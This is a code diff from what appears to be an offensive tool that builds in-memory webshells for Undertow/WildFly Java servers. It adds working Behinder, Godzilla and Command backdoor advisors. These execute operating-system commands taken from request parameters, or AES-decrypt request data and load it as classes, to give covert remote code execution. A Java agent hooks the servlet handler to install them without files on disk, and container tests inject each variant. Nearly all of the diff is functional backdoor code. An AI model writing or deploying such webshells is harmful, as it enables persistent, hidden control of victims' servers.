import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -34,11 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Wildfly9ContainerTest {
|
public class Wildfly9ContainerTest {
|
||||||
public static final String imageName = "jboss/wildfly:9.0.1.Final";
|
public static final String imageName = "jboss/wildfly:10.0.0.Final";
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -61,19 +63,23 @@ public class Wildfly9ContainerTest {
|
|||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+86
@@ -0,0 +1,86 @@
|
|||||||
|
package com.reajason.javaweb.memshell.undertow.behinder;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class BehinderServletInitialHandlerAdvisor {
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.AllArguments Object[] args
|
||||||
|
) {
|
||||||
|
String pass = "pass";
|
||||||
|
String headerName = "headerName";
|
||||||
|
String headerValue = "headerValue";
|
||||||
|
try {
|
||||||
|
Object servletRequestContext = null;
|
||||||
|
if (args.length == 2) {
|
||||||
|
servletRequestContext = args[1];
|
||||||
|
} else {
|
||||||
|
servletRequestContext = args[2];
|
||||||
|
}
|
||||||
|
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||||
|
Object res = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||||
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
|
if (value != null
|
||||||
|
&& value.contains(headerValue)) {
|
||||||
|
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||||
|
obj.put("request", request);
|
||||||
|
Object response = res;
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField("response");
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field != null) {
|
||||||
|
field.setAccessible(true);
|
||||||
|
response = field.get(response);
|
||||||
|
}
|
||||||
|
obj.put("response", response);
|
||||||
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||||
|
obj.put("session", session);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||||
|
byte[] data = null;
|
||||||
|
Class<?> base64;
|
||||||
|
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||||
|
String parameter = reader.readLine();
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||||
|
}
|
||||||
|
byte[] bytes = c.doFinal(data);
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||||
|
Object instance = payload.newInstance();
|
||||||
|
instance.equals(obj);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+43
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.memshell.undertow.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class CommandServletInitialHandlerAdvisor {
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.AllArguments Object[] args
|
||||||
|
) {
|
||||||
|
String paramName = "paramName";
|
||||||
|
try {
|
||||||
|
Object servletRequestContext = null;
|
||||||
|
if (args.length == 2) {
|
||||||
|
servletRequestContext = args[1];
|
||||||
|
} else {
|
||||||
|
servletRequestContext = args[2];
|
||||||
|
}
|
||||||
|
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||||
|
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||||
|
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+93
@@ -0,0 +1,93 @@
|
|||||||
|
package com.reajason.javaweb.memshell.undertow.godzilla;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GodzillaServletInitialHandlerAdvisor {
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.AllArguments Object[] args
|
||||||
|
) {
|
||||||
|
String key = "key";
|
||||||
|
String pass = "pass";
|
||||||
|
String md5 = "md5";
|
||||||
|
String headerName = "headerName";
|
||||||
|
String headerValue = "headerValue";
|
||||||
|
try {
|
||||||
|
Object servletRequestContext = null;
|
||||||
|
if (args.length == 2) {
|
||||||
|
servletRequestContext = args[1];
|
||||||
|
} else {
|
||||||
|
servletRequestContext = args[2];
|
||||||
|
}
|
||||||
|
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||||
|
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||||
|
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||||
|
if (value != null
|
||||||
|
&& value.contains(headerValue)) {
|
||||||
|
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||||
|
byte[] data = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||||
|
}
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||||
|
c.init(2, keySpec);
|
||||||
|
data = c.doFinal(data);
|
||||||
|
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||||
|
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||||
|
if (sessionPayload == null) {
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||||
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||||
|
} else {
|
||||||
|
System.out.println(new String(data));
|
||||||
|
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
|
||||||
|
c.init(1, keySpec);
|
||||||
|
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||||
|
String result = null;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||||
|
}
|
||||||
|
writer.write(result);
|
||||||
|
writer.write(md5.substring(16));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-3
@@ -81,18 +81,17 @@ public class UndertowFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
String filterClassName = getClassName();
|
|
||||||
if (isInjected(context)) {
|
if (isInjected(context)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||||
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
|
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
|
||||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
|
||||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
Object deploymentImpl = getFieldValue(context, "deployment");
|
Object deploymentImpl = getFieldValue(context, "deployment");
|
||||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
|
|||||||
+63
@@ -0,0 +1,63 @@
|
|||||||
|
package com.reajason.javaweb.memshell.undertow.injector;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.utility.JavaModule;
|
||||||
|
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/28
|
||||||
|
*/
|
||||||
|
public class UndertowServletInitialHandlerAgentInjector implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
|
static Class<?> interceptorClass = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
interceptorClass = Class.forName(getClassName());
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||||
|
TypeDescription typeDescription,
|
||||||
|
ClassLoader classLoader, JavaModule module,
|
||||||
|
ProtectionDomain protectionDomain) {
|
||||||
|
return builder.visit(Advice.to(interceptorClass).on(named("handleFirstRequest")));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("io.undertow.servlet.handlers.ServletInitialHandler"))
|
||||||
|
.transform(new UndertowServletInitialHandlerAgentInjector())
|
||||||
|
.installOn(inst);
|
||||||
|
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user